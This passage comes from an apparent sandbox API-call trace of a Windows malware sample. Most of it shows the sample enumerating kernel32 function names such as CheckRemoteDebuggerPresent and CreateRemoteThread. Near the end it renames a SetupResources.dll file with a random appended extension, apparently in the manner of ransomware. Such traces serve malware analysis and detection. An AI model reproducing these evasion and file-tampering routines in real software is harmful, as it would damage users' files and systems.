(lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0119.808] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0119.808] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0119.808] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0119.808] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0119.808] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0119.808] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0119.808] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0119.809] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0119.809] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0119.809] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0119.809] lstrlenA (lpString="CLOSESTATE") returned 10 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0119.809] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0119.809] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0119.809] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0119.809] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0119.809] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0119.809] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0119.809] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0119.809] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0119.809] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0119.809] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0119.809] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0119.809] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0119.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0119.809] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0119.810] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0119.810] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0119.810] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0119.810] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0119.810] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0119.810] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0119.810] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0119.810] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0119.810] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0119.810] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0119.810] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0119.810] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0119.810] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0119.810] lstrlenA (lpString="COPYCONTEXT") returned 11 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0119.810] lstrlenA (lpString="COPYFILE2") returned 9 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0119.810] lstrlenA (lpString="COPYFILEA") returned 9 [0119.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0119.811] lstrlenA (lpString="COPYFILEEXA") returned 11 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0119.811] lstrlenA (lpString="COPYFILEEXW") returned 11 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0119.811] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0119.811] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0119.811] lstrlenA (lpString="COPYFILEW") returned 9 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0119.811] lstrlenA (lpString="COPYLZFILE") returned 10 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0119.811] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0119.811] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0119.811] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0119.811] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0119.811] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0119.811] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0119.811] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0119.811] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0119.811] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0119.811] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0119.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0119.812] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0119.812] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0119.812] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0119.812] lstrlenA (lpString="CREATEEVENTA") returned 12 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0119.812] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0119.812] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0119.812] lstrlenA (lpString="CREATEEVENTW") returned 12 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0119.812] lstrlenA (lpString="CREATEFIBER") returned 11 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0119.812] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0119.812] lstrlenA (lpString="CREATEFILE2") returned 11 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0119.812] lstrlenA (lpString="CREATEFILEA") returned 11 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0119.812] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0119.812] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0119.812] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0119.812] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0119.812] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0119.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0119.812] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0119.813] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0119.813] lstrlenA (lpString="CREATEFILEW") returned 11 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0119.813] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0119.813] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0119.813] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0119.813] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0119.813] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0119.813] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0119.813] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0119.813] lstrlenA (lpString="CREATEJOBSET") returned 12 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0119.813] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0119.813] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0119.813] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0119.813] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0119.813] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0119.813] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0119.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0119.814] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0119.814] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0119.814] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0119.814] lstrlenA (lpString="CREATEPIPE") returned 10 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0119.814] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0119.814] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0119.814] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0119.814] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0119.814] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0119.814] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0119.814] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0119.814] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0119.814] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0119.814] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0119.814] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0119.814] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0119.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0119.814] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0119.815] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0119.815] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0119.815] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0119.815] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0119.815] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0119.815] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0119.815] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0119.815] lstrlenA (lpString="CREATETHREAD") returned 12 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0119.815] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0119.815] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0119.815] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0119.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0119.816] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0119.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0119.816] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0119.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0119.816] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0119.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0119.816] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0119.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0119.816] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.x8UI4ZG") returned 53 [0119.816] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.x8UI4ZG" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.x8ui4zg"), dwFlags=0x0) returned 1 [0119.817] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.817] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.818] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.818] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0119.818] FindClose (in: hFindFile=0x3b81140 | out: hFindFile=0x3b81140) returned 1 [0119.818] CloseHandle (hObject=0x528) returned 1 [0119.818] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: 